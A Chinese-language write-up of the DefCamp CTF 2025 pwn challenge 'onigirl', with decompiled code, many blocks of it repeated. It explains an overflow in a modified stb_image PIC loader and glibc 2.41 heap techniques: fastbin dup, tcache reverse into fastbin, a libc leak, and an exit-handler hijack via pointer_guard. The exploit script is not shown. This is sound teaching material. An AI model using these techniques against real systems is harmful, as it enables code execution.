首页
社区
课程
招聘
[原创]DefCamp CTF 2025 onigirl 复盘详解
发表于: 2025-9-27 14:02 3363

[原创]DefCamp CTF 2025 onigirl 复盘详解

2025-9-27 14:02
3363

作者:selph,首发自先知社区:3c0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4z5o6V1&6x3R3`.`.

唯一一个困难pwn题,难是真难,为期2天的比赛总共只有11只队伍解出,该题是glibc-2.41下的题目,总共3个难点:如何绕过图像校验?如何在受限情况下进行堆利用?受限情况下如何劫持执行流?对于前半,本文将介绍完整的深入分析复杂流程的过程,对于后半,本文将结合glibc2.41源码来介绍fastbin+tcachebin的组合利用技巧,和exit中攻击向量。

题目来源:DefCamp CTF 2025(2025年9月14号),困难 pwn

保护全开,glibc-2.41 版本

main函数很长,分段来看(这里是重命名后的结果):

读取用户输入的图像数据,手动输入大小和内容,需要自己构造

加载图像并解析为 RGB 格式,这里通过 stbi_load_from_memory函数进行,该函数是静态编译进去的库函数

对图像进行一系列复杂的浮点数运算(问了AI知道是像素级的处理与变换,大致如下

在处理后生成一个“权限值”(privilege),后续进入一个交互式菜单系统,根据权限值(需要是0才行)决定用户可执行的操作(如分配、释放内存块等)。

privilege的值为0的条件如下:

需要 privilege_pointer的值是4919,此处我测试了一个只有1个像素的bmp图片,将图片输入,这里解析出图片RGB三个hex值,经过一系列运算后,向privilege指针进行异或操作:

这个操作进行一系列 &运算,结果就是 privilege_pointer的值和一个4位的值进行异或

然后紧接着的相关操作如下:

这里对 privilege_pointer进行 |运算,最后3为恒定设置为1,然后进行 & 0x1fff,保留最后2字节,最后在 | rand() & 0x3f设置最低一字节一个值

4919的十六进制:0x1337,最后的7是无论如何都会设置上的,问题在于中间的两个3,最后的那个3的值取决于 rand函数的结果,也就是说,通过不断运行,就有概率得到0x37的最低字节值

问题在于如何在得到0x13的值?

这一块已经分析不出什么来了,注意啊!这是pwn问题,就要通过pwn的方式来完成目标!!

回过头来,看看这个 privilege_pointer怎么来的:

他们的定义:

可见,privilege_value紧挨着 modification_parameters_1数组,局部变量里就这么一个数组,碰巧有 privilege_value紧挨着,是不是有可能,这个数组会发生溢出来影响 privilege_value的值呢?

继续深入分析 modification_parameters_1参数:

然后是浮点运算用的了,正常使用逻辑下一般不会出现越界溢出,这里可疑的就是 stbi_load_from_memory函数,进去追踪该参数:

继续进入 stbi__load_and_postprocess_8bit

这里还要继续深入 stbi__load_main

这里可以看到,大量函数都用了 modification_parameters参数,经过逐个探索,发现位于 stbi__pic_load函数中存在溢出问题:

这里先调用了 stbi__pic_load_core函数,调用完之后,下面的for循环进行赋值,从 image_noises中赋值,这里会赋值到 image_modifications_ptr[10]中,刚好就是溢出覆盖到下一个成员的地方

能否在第2字节处赋值到0x13字节,就需要这里 image_noises[10]的第二字节是0x13,继续深入,在经过一系列计算之后,在最后会出现如下运算,给 image_noises数组进行赋值操作:

到这里已经分析明白了如何给 privilege_value赋值,接下来就是分析如何构造结构了,这些函数都是基于文件结构进行一系列计算和处理,我们需要给定正确的格式才能执行到这里完成溢出的目标

回到 stbi__load_main

我们要进入 stbi__pic_load,需要先通过 stbi__pic_test的校验:

很显然,这里是校验文件头的地方,需要最前面4字节是PICT,然后在0x53字节处也是PICT

然后在 stbi__pic_load中解析结构的部分如下:

跳过0x5b字节,然后以16位大端序读取图像宽和图像长的值

这里需要在0x5c处构造width,0x5e处构造height,这两个数据不能超过4096,也就是0x1000,换成大端序就是0x0010

然后跳过8字节,进入 stbi__pic_load_core,前半部分如下:

这里header_data是局部变量,对结构的操作如下:

读取1个字节,作为类型,是0的话,就会直接跳出循环,降低运算的复杂性

读取3个字节,给header_data数组

这个do-while循环以4字节一组进行读取数据作为header信息

然后后半段:

这里根据header_data第一个字节判断是什么类型,我们需要进入的片段在最后为0的分支里

所以刚刚读取的第一个字节的值需要是0

然后这里,是个循环,循环次数取决于width,就是之前我们设置的width值

每一轮读取4个字节,首字节和上一轮的首字节相减求模11,第一轮的上一轮首字节是0,如果这个值是负数,就求反

根据模结果来决定image_noises的索引,我们需要溢出,需要这个值是10

然后对于noise_value,则是读取该索引处原本的值,然后对读取的4字节中的中间2字节进行异或,乘以一个浮点数,结果进行累加

为了让这个数值更快的加到0x13??,最好让异或的结果大一些,选择0xf0和0x0f进行组合

对于首字节,交替输入0和10即可,做差求模一定是10

综上,每2次循环为一组,则如此构造:

因为乘法的常量1.0e-16是个很小的数字,所以需要累加很多很多次,循环次数取决于width,所以这里可无脑填充大量的该8字节组合数据,通过不断测试width的值观察程序输出结果来判断width应该是多少(最终 privilege_value需要是0x1337,末尾的0x37是固定的,只需要找到一个合适的width让 privilege_value第二个字节的值为0x13即可)

经过测试,width为0x55时,能够覆盖出目标值,最终需要构造的结构&payload发送

因为随机数的存在,需要多尝试几次,直到成功:

成功拿到privilege==0之后,下面的菜单选项变得可用:

do_alloc:

这里申请内存长度取决于输入长度,范围是0到0x5f,最大申请出来0x70的chunk,tcache和fastbin范围内

会记录当前申请的size大小,可以无限申请该size,size只能变化1次,变化后就只能申请变化后的size

管理内存的数组一共11个,索引0-10可自由安排

do_delete:

释放chunk后没有清空指针,潜在UAF和Double-Free问题

do_show:

可以打印指定chunk 8 字节内容,配合UAF可以泄露释放chunk的前8字节指针

整理当前情况:

因为指针加密的存在,使用tcachebin chunk可以直接泄露出heap地址

还需要想办法得到libc地址,堆上出现libc地址且位于前8字节的情况只有一种:让堆上出现unsortedbin chunk

那就得 free 一个unsortedbin size 的 chunk,就需要让一个可控的chunk的size字段被修改

完成这个目标就需要任意内存分配或者任意内存写,只能使用tcachebin和fastbin的场景下,有一种技巧叫做:Tcache Reverse Into Fastbin

Tcache Reverse Into Fastbin 技巧位于malloc流程中从fastbin申请chunk的部分:

当相同size的tcachebin为空的时候,存在相同size的fastbin,申请的时候会进行如下操作:

例如:通过申请10个chunk,依次释放,7个chunk进入tcachebin,3个chunk进入fastbin;

此时申请走7个tcachebin chunk,再次申请的时候,满足了tcachebin没满,fastbin有多个chunk的条件,会进入Tcache Reverse Into Fastbin的流程

此时fastbin中,假定chunk链表为:A->B->C,则A会被分配走,然后B和C会依次填入tcachebin

如果 C 的 fd 被我们控制,指向了我们指定的地方(2.41下,目标地址需要其fd解密结果是0),那么就会将指定地方作为tcache chunk 存入 tcachebin 中

2.41下 fastbin dup和之前没有什么区别,其流程发生在free过程中:

只检查在 fastbin 链表中第一个chunk,和释放的chunk是否相同

只需要申请两个chunk,A和B

按照A,B,A的顺序释放

fastbin的链就会变成A->B->A

如果说,在之前设想的Tcache Reverse Into Fastbin场景里,我的fastbin chunk的链通过fastbin dup之后变成了A->B->A

此时申请相同大小的chunk,触发Tcache Reverse Into Fastbin的流程,就会将A分配走,然后将B插入tcachebin,再将A插入tcachebin

程序流程中会向A中写入数据,此时写入目标地址(需要其fd处解密结果是0),那么tcache链就会由A->B变成A->目标

最终可以得到一个任意地址分配的原语,如果fd处解密结果不为0,就会向tcache链表写入一个不可访问的地址,以至于该size的tcahebin不能再使用,题目只能用2个size的chunk

这里是按照流程走下来之后,完成fastbin dup之后,准备触发Tcache Reverse Into Fastbin的时候,此时我在第一个chunk处准备了经过解密可以得到0的值:

此时,我再申请一个0x60的chunk,触发Tcache Reverse Into Fastbin:

此时的bins信息:

成功将chunk1的中间加入到了tcachebin,达成任意地址分配

操作流程:

泄露 libc 地址需要伪造unsortedbin size,将刚刚的分配到chunk1中间的那个chunk,通过chunk1将其size设置为unsortedbin size,需要注意,unsortedbin chunk next chunk也需要伪造

伪造完之后,直接释放,UAF读,即可拿到libc地址:

完整的泄露libc地址的代码:

此时的bins:

0x60的tcachebin没有被损坏,还能用该size再次进行任意地址分配

接下来的问题就是,往哪里申请?接下来无法泄露任何数据了,只能任意地址分配和写

无法泄露pg,无法泄露environ

感觉可行的方案:

退出的流程主要在__run_exit_handlers函数中:遍历结构体数组exit_function_list,对每组的exit_function函数进行处理

这里的listp追溯过去,发现是全局变量initial:

这里涉及到的的的结构体:

这里的switch是个枚举类型:

这里主要关注ef_cxa的情况:

这里从结构体exit_function对应cxa的部分中,获取函数地址,参数地址,解密函数指针,然后调用函数

解密过程:

此处会调用pointer_guard进行异或操作,实际上这里还有个右移0x11位的操作在,在gdb中可以明显看到:

这里截图是完成调试最终的结果,取出initial+0x18作为函数地址,循环右移0x11位,然后和fs:[0x30]进行异或,得到函数地址

参数则是直接获取

initial此处需要构造的结构体就是:

其中,这里的函数指针需要是和pg进行异或,并且循环左移0x11位的结果

要完成这一切就能劫持控制流,就需要能够直到pg的值,或者设置pg的值

基于之前的Tcache Reverse Into Fastbin和Fastbin Dup组合利用的方式,再来一次,将pg的值覆盖为0,这样0异或任何值都不会发生变化

fs寄存器指向的地址位于举例libc.address-0x2880处,其0x30偏移处就是pg的值:

对该地址任意地址分配,写入,会导致该size的tcachebin损坏无法再用

就需要切换下一个size去做后续的事情,然后就只需要设置号initial的值即可:

最终会执行到:

从而拿到shell,具体操作脚本见下面完整exp

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
v47 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
random_seed = time(0);                        // 随机数
srand(random_seed);
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
printf("Enter image size in bytes: ");
if ( !fgets(size_input_buffer, 32, stdin) )   // 输入size
{
  fwrite("Failed to read size\n", 1u, 0x14u, stderr);
  return 1;
}
input_size = strtoul(size_input_buffer, 0, 10);// 转换成数字
if ( !input_size || input_size > 0x10000 )    // 不能是0,不能>0x10000
{
  fprintf(stderr, "Bad size (1–%d)\n", 0x10000);
  return 1;
}
allocated_buffer = malloc(input_size);        // 分配内存
if ( !allocated_buffer )
{
  perror("malloc");
  return 1;
}
bytes_read = read(0, allocated_buffer, input_size);
if ( bytes_read <= 0 )
{
  perror("read");
  free(allocated_buffer);
  return 1;
}
image_buffer = allocated_buffer;
loaded_image_data = (char *)stbi_load_from_memory(
                              (__int64)allocated_buffer,
                              input_size,
                              (unsigned int *)&image_width,
                              (unsigned int *)&image_height,
                              (__int64 *)&p_menu_choice_storage,
                              3u,
                              modification_parameters_1);
if ( loaded_image_data )
{
  center_x = (double)image_width / 2.0;
  center_y = (double)image_height / 2.0;
  max_distance = hypot(center_x, center_y);
  random_modification_index = (int)((double)rand() / 2147483647.0 * 0.7 * 3.0 + 0.8);// 1
  *(double *)&modification_parameters[random_modification_index / 2 + 3] = (double)rand() / 2147483647.0 * 0.2 + 0.1;
  *(double *)&modification_parameters[3 * random_modification_index] = (double)rand() / 2147483647.0 * 0.25 + 0.15;
  for ( row_index = 0; row_index < image_height; ++row_index )
  {
    row_data_offset = &loaded_image_data[3 * row_index * image_width];
    if ( (row_index & 1) != 0 )
      row_color_value = 220;
    else
      row_color_value = 255;
    current_row_color = row_color_value;
    for ( i = 0; i < image_width; ++i )  
    {
      pixel_pointer = &row_data_offset[3 * i];
      distance_from_center = hypot((double)i - center_x, (double)row_index - center_y);
      normalized_distance = distance_from_center / max_distance;
      distance_factor = 1.8 * (1.0 - distance_from_center / max_distance);
      random_value = rand();
      *(double *)&modification_parameters[random_modification_index + 4] = 1.0
                                                                         - *(double *)&modification_parameters[random_modification_index + 1]
                                                                         * ((double)(unsigned __int8)random_value
                                                                          / 127.0);
      *(double *)&modification_parameters[random_modification_index + 1] = *(double *)&modification_parameters[random_modification_index + 5]
                                                                         * ((double)BYTE1(random_value)
                                                                          / 127.0)
                                                                         + 1.0;
      *(double *)&modification_parameters[2 * random_modification_index + 1] = 1.0
                                                                             - *(double *)&modification_parameters[2 * random_modification_index + 3]
                                                                             * ((double)BYTE2(random_value)
                                                                              / 127.0);
      if ( (random_value & 0x3FF) == 0 ) 
      {
        *pixel_pointer ^= 0x3Fu;
        pixel_pointer[1] ^= 0x7Fu;
        pixel_pointer[2] = ~pixel_pointer[2];
      }
      red_component = pow((double)(unsigned __int8)*pixel_pointer / 255.0, (double)random_modification_index);
      processed_red = red_component * *(double *)&modification_parameters[random_modification_index + 4];
      green_component = pow((double)(unsigned __int8)pixel_pointer[1] / 255.0, (double)random_modification_index);
      processed_green = *(double *)&modification_parameters[random_modification_index + 5]
                      * ((distance_factor + 1.0)
                       * green_component);
      blue_component = pow((double)(unsigned __int8)pixel_pointer[2] / 255.0, (double)random_modification_index);
      processed_blue = blue_component * *(double *)&modification_parameters[random_modification_index + 4];
      clamped_red = fmin(processed_red, 1.0);
      *pixel_pointer = (int)(clamped_red * (double)current_row_color);
      clamped_green = fmin(processed_green, 1.0);
      pixel_pointer[1] = (int)(clamped_green * (double)current_row_color);
      clamped_blue = fmin(processed_blue, 1.0);
      pixel_pointer[2] = (int)(clamped_blue * (double)current_row_color);
      *privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
                          & (unsigned __int8)pixel_pointer[2]
                          & 0xF;
    }
  }
  *privilege_pointer |= 7u;
  *privilege_pointer &= 0x1FFFu;
  final_privilege_value = *privilege_pointer;
  *privilege_pointer = rand() & 0x3F | final_privilege_value;
  temporary_buffer_1 = malloc(0x2F0u);
  temporary_buffer_2 = malloc(0x8F0u);
  stbi_image_free(loaded_image_data);
  privilege = *privilege_pointer != 4919;
  menu_format_string = "yo face = %d\n";
  printf("yo face = %d\n", *privilege_pointer);
v47 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stderr, 0);
setbuf(stdout, 0);
random_seed = time(0);                        // 随机数
srand(random_seed);
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
printf("Enter image size in bytes: ");
if ( !fgets(size_input_buffer, 32, stdin) )   // 输入size
{
  fwrite("Failed to read size\n", 1u, 0x14u, stderr);
  return 1;
}
input_size = strtoul(size_input_buffer, 0, 10);// 转换成数字
if ( !input_size || input_size > 0x10000 )    // 不能是0,不能>0x10000
{
  fprintf(stderr, "Bad size (1–%d)\n", 0x10000);
  return 1;
}
allocated_buffer = malloc(input_size);        // 分配内存
if ( !allocated_buffer )
{
  perror("malloc");
  return 1;
}
bytes_read = read(0, allocated_buffer, input_size);
if ( bytes_read <= 0 )
{
  perror("read");
  free(allocated_buffer);
  return 1;
}
image_buffer = allocated_buffer;
loaded_image_data = (char *)stbi_load_from_memory(
                              (__int64)allocated_buffer,
                              input_size,
                              (unsigned int *)&image_width,
                              (unsigned int *)&image_height,
                              (__int64 *)&p_menu_choice_storage,
                              3u,
                              modification_parameters_1);
if ( loaded_image_data )
{
  center_x = (double)image_width / 2.0;
  center_y = (double)image_height / 2.0;
  max_distance = hypot(center_x, center_y);
  random_modification_index = (int)((double)rand() / 2147483647.0 * 0.7 * 3.0 + 0.8);// 1
  *(double *)&modification_parameters[random_modification_index / 2 + 3] = (double)rand() / 2147483647.0 * 0.2 + 0.1;
  *(double *)&modification_parameters[3 * random_modification_index] = (double)rand() / 2147483647.0 * 0.25 + 0.15;
  for ( row_index = 0; row_index < image_height; ++row_index )
  {
    row_data_offset = &loaded_image_data[3 * row_index * image_width];
    if ( (row_index & 1) != 0 )
      row_color_value = 220;
    else
      row_color_value = 255;
    current_row_color = row_color_value;
    for ( i = 0; i < image_width; ++i )  
    {
      pixel_pointer = &row_data_offset[3 * i];
      distance_from_center = hypot((double)i - center_x, (double)row_index - center_y);
      normalized_distance = distance_from_center / max_distance;
      distance_factor = 1.8 * (1.0 - distance_from_center / max_distance);
      random_value = rand();
      *(double *)&modification_parameters[random_modification_index + 4] = 1.0
                                                                         - *(double *)&modification_parameters[random_modification_index + 1]
                                                                         * ((double)(unsigned __int8)random_value
                                                                          / 127.0);
      *(double *)&modification_parameters[random_modification_index + 1] = *(double *)&modification_parameters[random_modification_index + 5]
                                                                         * ((double)BYTE1(random_value)
                                                                          / 127.0)
                                                                         + 1.0;
      *(double *)&modification_parameters[2 * random_modification_index + 1] = 1.0
                                                                             - *(double *)&modification_parameters[2 * random_modification_index + 3]
                                                                             * ((double)BYTE2(random_value)
                                                                              / 127.0);
      if ( (random_value & 0x3FF) == 0 ) 
      {
        *pixel_pointer ^= 0x3Fu;
        pixel_pointer[1] ^= 0x7Fu;
        pixel_pointer[2] = ~pixel_pointer[2];
      }
      red_component = pow((double)(unsigned __int8)*pixel_pointer / 255.0, (double)random_modification_index);
      processed_red = red_component * *(double *)&modification_parameters[random_modification_index + 4];
      green_component = pow((double)(unsigned __int8)pixel_pointer[1] / 255.0, (double)random_modification_index);
      processed_green = *(double *)&modification_parameters[random_modification_index + 5]
                      * ((distance_factor + 1.0)
                       * green_component);
      blue_component = pow((double)(unsigned __int8)pixel_pointer[2] / 255.0, (double)random_modification_index);
      processed_blue = blue_component * *(double *)&modification_parameters[random_modification_index + 4];
      clamped_red = fmin(processed_red, 1.0);
      *pixel_pointer = (int)(clamped_red * (double)current_row_color);
      clamped_green = fmin(processed_green, 1.0);
      pixel_pointer[1] = (int)(clamped_green * (double)current_row_color);
      clamped_blue = fmin(processed_blue, 1.0);
      pixel_pointer[2] = (int)(clamped_blue * (double)current_row_color);
      *privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
                          & (unsigned __int8)pixel_pointer[2]
                          & 0xF;
    }
  }
  *privilege_pointer |= 7u;
  *privilege_pointer &= 0x1FFFu;
  final_privilege_value = *privilege_pointer;
  *privilege_pointer = rand() & 0x3F | final_privilege_value;
  temporary_buffer_1 = malloc(0x2F0u);
  temporary_buffer_2 = malloc(0x8F0u);
  stbi_image_free(loaded_image_data);
  privilege = *privilege_pointer != 4919;
  menu_format_string = "yo face = %d\n";
  printf("yo face = %d\n", *privilege_pointer);
privilege = *privilege_pointer != 4919;
privilege = *privilege_pointer != 4919;
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
                    & (unsigned __int8)pixel_pointer[2]
                    & 0xF;
*privilege_pointer ^= (unsigned __int8)(pixel_pointer[1] & *pixel_pointer)
                    & (unsigned __int8)pixel_pointer[2]
                    & 0xF;
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
privilege = *privilege_pointer != 4919;
*privilege_pointer |= 7u;
*privilege_pointer &= 0x1FFFu;
final_privilege_value = *privilege_pointer;
*privilege_pointer = rand() & 0x3F | final_privilege_value;
privilege = *privilege_pointer != 4919;
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
privilege_value = 4;
modification_parameters = modification_parameters_1;
privilege_pointer = &privilege_value;
__int64 modification_parameters_1[10]; // [rsp+D0h] [rbp-A0h] BYREF
int privilege_value; // [rsp+120h] [rbp-50h] BYREF
char size_input_buffer[40]; // [rsp+130h] [rbp-40h] BYREF
__int64 modification_parameters_1[10]; // [rsp+D0h] [rbp-A0h] BYREF
int privilege_value; // [rsp+120h] [rbp-50h] BYREF
char size_input_buffer[40]; // [rsp+130h] [rbp-40h] BYREF
  modification_parameters = modification_parameters_1;
...
  loaded_image_data = (char *)stbi_load_from_memory(
                                (__int64)allocated_buffer,
                                input_size,
                                (unsigned int *)&image_width,
                                (unsigned int *)&image_height,
                                (__int64 *)&p_menu_choice_storage,
                                3u,
                                modification_parameters_1);
..。
  modification_parameters = modification_parameters_1;
...
  loaded_image_data = (char *)stbi_load_from_memory(
                                (__int64)allocated_buffer,
                                input_size,
                                (unsigned int *)&image_width,
                                (unsigned int *)&image_height,
                                (__int64 *)&p_menu_choice_storage,
                                3u,
                                modification_parameters_1);
..。
__int64 __fastcall stbi_load_from_memory(
        __int64 buf,
        int size,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        __int64 *modification_parameters)
{
  __int64 v12[30]; // [rsp+30h] [rbp-F0h] BYREF
 
  v12[29] = __readfsqword(0x28u);
  stbi__start_mem(v12, buf, size);
  return stbi__load_and_postprocess_8bit((int)v12, p_j, p_i, p_menu_choice_storage, n3, modification_parameters);
}
__int64 __fastcall stbi_load_from_memory(
        __int64 buf,
        int size,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        __int64 *modification_parameters)
{
  __int64 v12[30]; // [rsp+30h] [rbp-F0h] BYREF
 
  v12[29] = __readfsqword(0x28u);
  stbi__start_mem(v12, buf, size);
  return stbi__load_and_postprocess_8bit((int)v12, p_j, p_i, p_menu_choice_storage, n3, modification_parameters);
}
char *__fastcall stbi__load_and_postprocess_8bit(
        unsigned int *a1,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        __int64 *modification_parameters)
{
  unsigned int n3_1; // eax
  bool v8; // al
  int n3_2; // eax
  char *main; // [rsp+40h] [rbp-20h]
  unsigned int p_n8[3]; // [rsp+4Ch] [rbp-14h] BYREF
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]
 
  v15 = __readfsqword(0x28u);
  main = stbi__load_main(a1, p_j, p_i, p_menu_choice_storage, n3, p_n8, 8, modification_parameters);
  if ( !main )
    return 0;
  if ( p_n8[0] != 8 && p_n8[0] != 16 )
    __assert_fail(
      "ri.bits_per_channel == 8 || ri.bits_per_channel == 16",
      "stb_image.h",
      0x50Cu,
      "stbi__load_and_postprocess_8bit");
  if ( p_n8[0] != 8 )
  {
    if ( n3 )
...
char *__fastcall stbi__load_and_postprocess_8bit(
        unsigned int *a1,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        __int64 *modification_parameters)
{
  unsigned int n3_1; // eax
  bool v8; // al
  int n3_2; // eax
  char *main; // [rsp+40h] [rbp-20h]
  unsigned int p_n8[3]; // [rsp+4Ch] [rbp-14h] BYREF
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]
 
  v15 = __readfsqword(0x28u);
  main = stbi__load_main(a1, p_j, p_i, p_menu_choice_storage, n3, p_n8, 8, modification_parameters);
  if ( !main )
    return 0;
  if ( p_n8[0] != 8 && p_n8[0] != 16 )
    __assert_fail(
      "ri.bits_per_channel == 8 || ri.bits_per_channel == 16",
      "stb_image.h",
      0x50Cu,
      "stbi__load_and_postprocess_8bit");
  if ( p_n8[0] != 8 )
  {
    if ( n3 )
...
char *__fastcall stbi__load_main(
        unsigned int *p_n4096,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        _DWORD *p_n8,
        int n8,
        __int64 *modification_parameters)
{
  unsigned int n3_1; // eax
  void *v14; // [rsp+38h] [rbp-8h]
 
  memset(p_n8, 0, 0xCu);
  *p_n8 = 8;
  p_n8[2] = 0;
  p_n8[1] = 0;
  if ( (unsigned int)stbi__png_test(p_n4096, modification_parameters) )
    return (char *)stbi__png_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__bmp_test(p_n4096, modification_parameters) )
    return stbi__bmp_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( stbi__gif_test(p_n4096, modification_parameters) )
    return (char *)stbi__gif_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__psd_test(p_n4096, modification_parameters) )
    return stbi__psd_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, n8, modification_parameters);
  if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
    return (char *)stbi__pic_load(
                     p_n4096,
                     p_j,
                     p_i,
                     (unsigned int *)p_menu_choice_storage,
                     n3,
                     p_n8,
                     modification_parameters);
  if ( (unsigned int)stbi__jpeg_test(p_n4096, modification_parameters) )
    return (char *)stbi__jpeg_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__pnm_test(p_n4096, modification_parameters) )
    return stbi__pnm_load((int *)p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__hdr_test(p_n4096, modification_parameters) )
  {
    v14 = stbi__hdr_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
    if ( n3 )
      n3_1 = n3;
    else
      n3_1 = *(_DWORD *)p_menu_choice_storage;
    return (char *)stbi__hdr_to_ldr(v14, *p_j, *p_i, n3_1);
  }
  else if ( (unsigned int)stbi__tga_test(p_n4096, modification_parameters) )
  {
    return (char *)stbi__tga_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8);
  }
  else
  {
    stbi__err("unknown image type");
    return 0;
  }
}
char *__fastcall stbi__load_main(
        unsigned int *p_n4096,
        unsigned int *p_j,
        unsigned int *p_i,
        __int64 *p_menu_choice_storage,
        unsigned int n3,
        _DWORD *p_n8,
        int n8,
        __int64 *modification_parameters)
{
  unsigned int n3_1; // eax
  void *v14; // [rsp+38h] [rbp-8h]
 
  memset(p_n8, 0, 0xCu);
  *p_n8 = 8;
  p_n8[2] = 0;
  p_n8[1] = 0;
  if ( (unsigned int)stbi__png_test(p_n4096, modification_parameters) )
    return (char *)stbi__png_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__bmp_test(p_n4096, modification_parameters) )
    return stbi__bmp_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( stbi__gif_test(p_n4096, modification_parameters) )
    return (char *)stbi__gif_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__psd_test(p_n4096, modification_parameters) )
    return stbi__psd_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, n8, modification_parameters);
  if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
    return (char *)stbi__pic_load(
                     p_n4096,
                     p_j,
                     p_i,
                     (unsigned int *)p_menu_choice_storage,
                     n3,
                     p_n8,
                     modification_parameters);
  if ( (unsigned int)stbi__jpeg_test(p_n4096, modification_parameters) )
    return (char *)stbi__jpeg_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__pnm_test(p_n4096, modification_parameters) )
    return stbi__pnm_load((int *)p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
  if ( (unsigned int)stbi__hdr_test(p_n4096, modification_parameters) )
  {
    v14 = stbi__hdr_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8, modification_parameters);
    if ( n3 )
      n3_1 = n3;
    else
      n3_1 = *(_DWORD *)p_menu_choice_storage;
    return (char *)stbi__hdr_to_ldr(v14, *p_j, *p_i, n3_1);
  }
  else if ( (unsigned int)stbi__tga_test(p_n4096, modification_parameters) )
  {
    return (char *)stbi__tga_load(p_n4096, p_j, p_i, p_menu_choice_storage, n3, p_n8);
  }
  else
  {
    stbi__err("unknown image type");
    return 0;
  }
}
if ( !stbi__pic_load_core(
        file_data_ptr,
        image_width,
        image_height,
        local_format_ptr,
        (char *)loaded_image_data,
        image_modifications_ptr) )
{
  free(loaded_image_data);
  loaded_image_data = 0;
}
*image_width_ptr = image_width;
*image_height_ptr = image_height;
if ( !requested_components )
  requested_components = *local_format_ptr;
loaded_image_data = (void *)stbi__convert_format(
                              loaded_image_data,
                              4,
                              requested_components,
                              image_width,
                              image_height);
for ( i = 0; i <= 10; ++i )
  *(double *)&image_modifications_ptr[i] = image_noises[i];
return loaded_image_data;
if ( !stbi__pic_load_core(
        file_data_ptr,
        image_width,
        image_height,
        local_format_ptr,
        (char *)loaded_image_data,
        image_modifications_ptr) )
{
  free(loaded_image_data);
  loaded_image_data = 0;
}
*image_width_ptr = image_width;
*image_height_ptr = image_height;
if ( !requested_components )
  requested_components = *local_format_ptr;
loaded_image_data = (void *)stbi__convert_format(
                              loaded_image_data,
                              4,
                              requested_components,
                              image_width,
                              image_height);
for ( i = 0; i <= 10; ++i )
  *(double *)&image_modifications_ptr[i] = image_noises[i];
return loaded_image_data;
  if ( mod_result > 0 )
    index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
  image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
  buffer_ptr += 4;                    // 累加操作
}
  if ( mod_result > 0 )
    index_temp = ((unsigned __int8)*buffer_ptr - (unsigned __int8)*(buffer_ptr - 4)) % 11;// 不求反的情况
  image_noises[index_temp] = noise_value + (double)(unsigned __int8)(buffer_ptr[1] ^ buffer_ptr[2]) * 1.0e-16;
  buffer_ptr += 4;                    // 累加操作
}
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
  return (char *)stbi__pic_load(
                   p_n4096,
                   p_j,
                   p_i,
                   (unsigned int *)p_menu_choice_storage,
                   n3,
                   p_n8,
                   modification_parameters);
if ( (unsigned int)stbi__pic_test(p_n4096, modification_parameters) )
  return (char *)stbi__pic_load(
                   p_n4096,
                   p_j,
                   p_i,
                   (unsigned int *)p_menu_choice_storage,
                   n3,
                   p_n8,
                   modification_parameters);
__int64 __fastcall stbi__pic_test(unsigned int *p_n4096, __int64 *modification_parameters)
{
  unsigned int v3; // [rsp+1Ch] [rbp-4h]
 
  v3 = stbi__pic_test_core(p_n4096, modification_parameters);
  stbi__rewind(p_n4096);
